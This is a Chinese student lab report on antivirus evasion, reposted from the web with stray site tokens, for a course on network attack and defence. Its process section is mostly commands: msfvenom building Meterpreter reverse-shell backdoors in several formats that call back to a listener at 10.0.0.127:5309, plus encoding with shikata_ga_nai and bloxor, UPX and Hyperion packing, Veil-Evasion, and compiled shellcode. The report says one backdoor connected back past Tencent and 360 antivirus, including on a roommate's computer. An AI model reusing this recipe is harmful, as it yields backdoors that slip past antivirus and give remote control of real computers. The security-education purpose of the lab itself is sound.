20165309 《網絡對抗技術》實驗三:免殺原理與實踐

20165309 《網絡對抗技術》實驗三:免殺原理與實踐



1.基礎問題回答

(1)殺軟是如何檢測出惡意代碼的?

  • 基於特徵:惡意代碼中通常會有一段特徵碼,若是殺軟檢測到有程序包含的特徵碼與它的特徵碼庫的代碼相匹配,就會把該程序看成惡意軟件。
  • 基於行爲:經過對惡意代碼的觀察、研究,有一些行爲是惡意代碼的共同行爲,並且比較特殊。因此當一個程序在運行時,殺軟會監視其行爲,若是發現了這種特殊的行爲,則會把它當成惡意軟件。

(2)免殺是作什麼?

  • 經過一些特殊的手段,讓安插的後門不被殺軟檢測到。

(3)免殺的基本方法有哪些?

  • 加殼、用encode進行編碼、基於payload從新編譯生成可執行文件、用其餘語言進行重寫再編譯(veil-evasion)、儘可能使用反彈式鏈接、使用隧道技術、加密通信數據、加入混淆做用的正常功能代碼......

(4)開啓殺軟能絕對防止電腦中惡意代碼嗎?

  • 作完本次實驗就知道了這個問題的答案是不能。

返回目錄php


2.實驗總結與體會

(1)遇到的問題與解決

  • 問題:安裝veil-evasion後開機報錯:
  • 解決方案:打開虛擬機設置->處理器->檢查下虛擬化引擎下面是否有被勾選->取消全部勾選->肯定,再打開虛擬機就沒事了~

(2)實驗感覺

本次實驗中,對我來講最困難的兩件事就是veil的安裝和任務二的實現免殺T-T,其餘內容按照實驗指導都很容易理解和實現。實驗告訴了我,殺軟並不可信,有些後門程序能夠躲過它們的檢測並對咱們產生威脅,因此安全意識相當重要。(PS.經過實驗真心以爲查殺方和攻擊方都挺不容易的。。)java

返回目錄python


3.實踐過程記錄

(0)準備工做

  • Kali的IP:10.0.0.127
  • 安裝Veil-Evasion,親測克隆安裝的成功率會大一些:git

    sudo apt-get -y install git  //安裝git
    
    git clone https://github.com/Veil-Framework/Veil-Evasion.git    //git命令行下載Veil Evasion
    
    mv Veil-Evasion /opt   //把它移動到opt目錄下(可選)
    
    cd /opt/Veil-Evasion/  //進入Veil Evasion所在目錄
    
    bash setup/setup.sh -s  //啓動setup腳本開始安裝

(1)正確使用msf編碼器,msfvenom生成如jar之類的其餘文件,veil-evasion,加殼工具,使用shellcode編程

① 正確使用msf編碼器
  • 使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 -f exe > 5309_backdoor.exe生成後門程序。(同實驗二)
  • 上傳至http://www.virscan.org/來檢測下有多少殺軟能夠將其查殺出來。
  • 上傳至https://www.virustotal.com/也檢測一下。
  • 能夠看到,這種方式造成的後門免殺效果不好,因此,咱們來嘗試一下屢次編碼:
    • 輸入指令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=10.0.0.127 LPORT=5309 -f exe > 5309time10.exe
    • 該指令中,-e選擇要用的編碼器,-i用於設置編碼次數,-b設定payload中須要去除的字符。
  • 再檢測一下:
  • 可見,屢次編碼並無起到什麼顯著的效果,不能實現免殺。
② msfvenom生成如jar之類的其餘文件
  • msfvenom生成jar文件
    • 指令:msfvenom -p java/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 x> wsj_jar.jar
    • 檢測:

  • msfvenom生成python文件
    • 指令:msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 -f raw > wsj_py.py
      github

    • 檢測:

  • msfvenom生成php文件
    • 指令:msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 x> wsj_php.php
    • 檢測:
③ veil-evasion
  • veil->use evasion進入Evil-Evasion配置界面:

  • 設置反彈鏈接IP和端口:
  • 輸入generate生成文件,設置輸出的payload名字:
  • 它的路徑是這個:
  • 進行檢測:

④ 加殼工具
  • 壓縮殼UPX
    • 指令:upx wsjpayload.exe -o wsjpayload.upxed.exe
    • 檢測:

  • 加密殼Hyperion
    • 將生成的upx文件拷貝到目錄/usr/share/windows-binaries/hyperion/,並進入。
    • 輸入指令進行加殼:wine hyperion.exe -v wsj_upxed.exe wsj_upxed_Hyperion.exe
    • 檢測:

  • 加殼的免殺效果其實也很不理想,反而可能會由於殼的特徵被更多殺軟檢測到。
⑤ 使用shellcode編程
  • 使用msf生成一段c語言格式的shellcode數組:msfvenom -p windows/meterpreter/reverse_http LHOST=10.0.0.127 LPORT=5309 -f c
  • 代碼:
  • 交叉編譯:i686-w64-mingw32-g++ 5309.c -o 5309.exe
  • 回連成功:
  • 測試:


(2)經過組合應用各類技術實現惡意代碼免殺

  • 採用加殼+迭代+C語言調用bloxor編碼的shellcode的方式免殺成功並可回連:
    • 生成Shellcode:msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=10.0.0.127 LPORT=5309 -f c
    • 迭代,加壓縮殼;
    • 將加入Shellcode的c語言程序在vc下編譯;
    • 實現回連:
    • 免殺效果:(Win7 x64+騰訊電腦管家13.3.20237.212)

(3) 用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本

  • Win7 x64 + 360安全衛士11.5.0.2002
  • 回連成功:
  • 在舍友電腦上實現免殺:

返回目錄shell

相關文章
相關標籤/搜索